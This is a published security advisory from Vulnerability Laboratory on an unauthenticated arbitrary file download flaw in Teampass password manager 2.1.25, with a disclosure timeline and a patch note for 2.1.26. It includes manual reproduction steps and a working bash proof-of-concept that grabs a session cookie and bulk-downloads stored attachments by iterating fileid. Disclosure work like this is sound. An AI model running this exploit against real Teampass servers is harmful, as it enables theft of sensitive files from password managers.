Teampass 2.1.25 Arbitrary File Download

`Document Title:  
===============  
Teampass v2.1.25 - Arbitrary File Download Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1843  
  
  
Release Date:  
=============  
2016-05-17  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1843  
  
  
Common Vulnerability Scoring System:  
====================================  
8.1  
  
  
Product & Service Introduction:  
===============================  
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP.  
It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a   
Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords   
access depending on the user’s role.   
  
(Copy of the Homepage: http://teampass.net/ )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered an arbitrary file download vulnerability in the Teampass Password Manager v2.1.25 web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-05-11: Researcher Notification & Coordination (Peter Kok)  
2016-05:12 Vendor Notification (Teampass Security Team)  
2016-05-13: Vendor Response/Feedback (Teampass Security Team)  
2016-05-15: Vendor Fix/Patch (Teampass Developer Team)  
2016-05-17: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Nils Laumaillé  
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
An arbitrary file download web vulnerability has been discovered in the Teampass Password Manager v2.1.25 web-application.  
The arbitrary file download vulnerability allows remote attackers to unauthorized download files via GET method request.  
  
The web vulnerability is located in the `downloadFile.php` file. Remote attackers are able to download internal uploaded   
files without any authentication. The web vulnerability can be exploited by remote attackers without user interaction.  
The issue is located on the application-side of the web-application and the request method to access is GET.  
  
The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.1.  
Exploitation of the arbitrary file download vulnerability requires no user interaction or privileged web-application user account.   
Successful exploitation of the arbitrary file download web vulnerability results in unauthorized file access and information disclosure.  
  
Request Method(s):  
[+] GET  
  
Vulnerable File(s):  
[+] downloadFile.php  
  
Vulnerable Parameter(s):  
[+] fileid  
  
  
Proof of Concept (PoC):  
=======================  
The arbitrary file download web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reprodcue the vulnerability ...  
1. Open a browser and visit https://your.teampass.installation/sources/downloadFile.php which will display the message "Hacking attempt..."  
2. Get a cookie by visiting the login page https://your.teampass.installation/, you don't have to authenticate only visit this page  
3. Again visit https://your.teampass.installation/sources/downloadFile.php, now that the cookie is set there is no "Hacking attempt..." message  
  
Files which are attached to items created in teampass can now be downloaded with the url https://your.teampass.installation/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=1  
Just change the fileid in the url to download different stored files  
  
PoC: Exploit  
#!/bin/bash  
COOKIE=/tmp/teampass.cookie  
if [ ! "$1" ]  
then  
echo "Usage: $0 [url]"  
exit 0  
fi  
#Get a valid cookie  
curl -c $COOKIE -s "$1" >/dev/null  
#get stored files with fileid 1 through 100  
for i in $(seq 1 100)  
do  
curl -b $COOKIE "$1/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=$i" -s -o file-$i  
if [ -s "file-$i" ]  
then  
#display the filetype  
file file-$i  
else  
#remove file if empty  
rm -f file-$i  
fi  
done  
rm -f $COOKIE  
exit 0  
  
  
Solution - Fix & Patch:  
=======================  
The arbitrary file download vulnerability can be patched by denying access to the `downloadFile.php` without authentication.  
  
Note: The manufacturer fixed the vulnerability and an update is available for download in version 2.1.26.  
URL: http://teampass.net/2016-05-13-release-2.1.26  
  
  
Security Risk:  
==============  
The security risk of the arbitrary file download web vulnerability in the Teampass Password Manager web-application is estimated as high. (CVSS 8.1)  
  
  
Credits & Authors:  
==================  
Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,   
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,   
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised   
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing   
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically   
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or   
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific   
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.  
  
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: [email protected]  
  
`